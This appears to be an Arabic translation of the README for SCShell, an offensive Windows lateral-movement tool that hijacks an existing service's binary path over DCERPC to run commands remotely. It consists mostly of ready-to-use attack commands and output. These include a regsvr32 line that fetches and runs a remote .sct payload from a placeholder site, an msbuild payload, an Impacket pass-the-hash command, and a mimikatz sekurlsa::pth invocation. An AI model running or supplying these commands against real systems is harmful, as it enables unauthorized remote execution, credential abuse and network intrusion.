
أداة حركة جانبية بدون ملفات تعتمد على ChangeServiceConfigA لتشغيل أمر
SCShell هي أداة تحرك جانبي بدون ملفات تعتمد على ChangeServiceConfigA لتنفيذ الأوامر. جمال هذه الأداة أنها لا تقوم بالمصادقة عبر SMB. كل شيء يتم عبر DCERPC.
يمكن استخدام الأداة عن بعد دون تسجيل خدمة أو إنشاء خدمة. كما أنها لا تضطر إلى إسقاط أي ملف على النظام البعيد* (يعتمد على التقنية المستخدمة في التنفيذ).
بدلاً من إنشاء خدمة، تقوم ببساطة بفتح خدمة عن بعد وتعديل اسم المسار الثنائي عبر API ChangeServiceConfigA.
ثم تبدأ الخدمة.
بمجرد اكتمال التنفيذ، يُعاد اسم المسار الثنائي للخدمة إلى حالته الأصلية. يتم استخراج مسار الخدمة الأصلي باستخدام QueryServiceConfigA.
كل شيء يحدث عبر DCERPC بما في ذلك المصادقة.

البناء الحالي مكتوب بلغة C ولكني سأنقله إلى C# و PowerShell.
Usage:
SCShell.exe target service payload domain username password
يمكن ضبط target إلى local لتنفيذ الـ payload محليًا.
التنفيذ عن بعد:
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
أنصح باستخدام C:\windows\system32\cmd.exe /c للتأكد من أن الـ payload لن يُقتل بمجرد توقف الخدمة. يجب استخدام المسار الكامل.
يمكنك أيضًا استخدام payload من نوع msbuild:
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
أستخدم XblAuthManager كهدف، وهي خدمة إدارة ملحقات Xbox (Xbox Accessory Management Service).
scshell.py هو تطبيق بلغة Python 2 و 3 لـ SCShell. باستخدام مشروع Impacket يمكن استخدامه بسهولة لأداء نفس الحركة الجانبية باستخدام تمرير التجزئة.
التثبيت:
pip install impacket
الاستخدام:
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
يمكنك استخدام الأداة C لتمرير التجزئة. بشكل افتراضي، سيتم استخدام رمز العملية الحالية (process token). يمكنك ضبط رمز العملية الحالية باستخدام طريقة تمرير التجزئة القياسية.
على النظام المحلي:
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
ثم قم بتشغيل SCShell.exe داخل نافذة cmd التي تم إنشاؤها حديثًا.
تم تجميع الكود على Windows باستخدام مترجم GCC Mingw.
Mr.Un1k0d3r RingZer0 Team
Tazz0 للدعم المعنوي.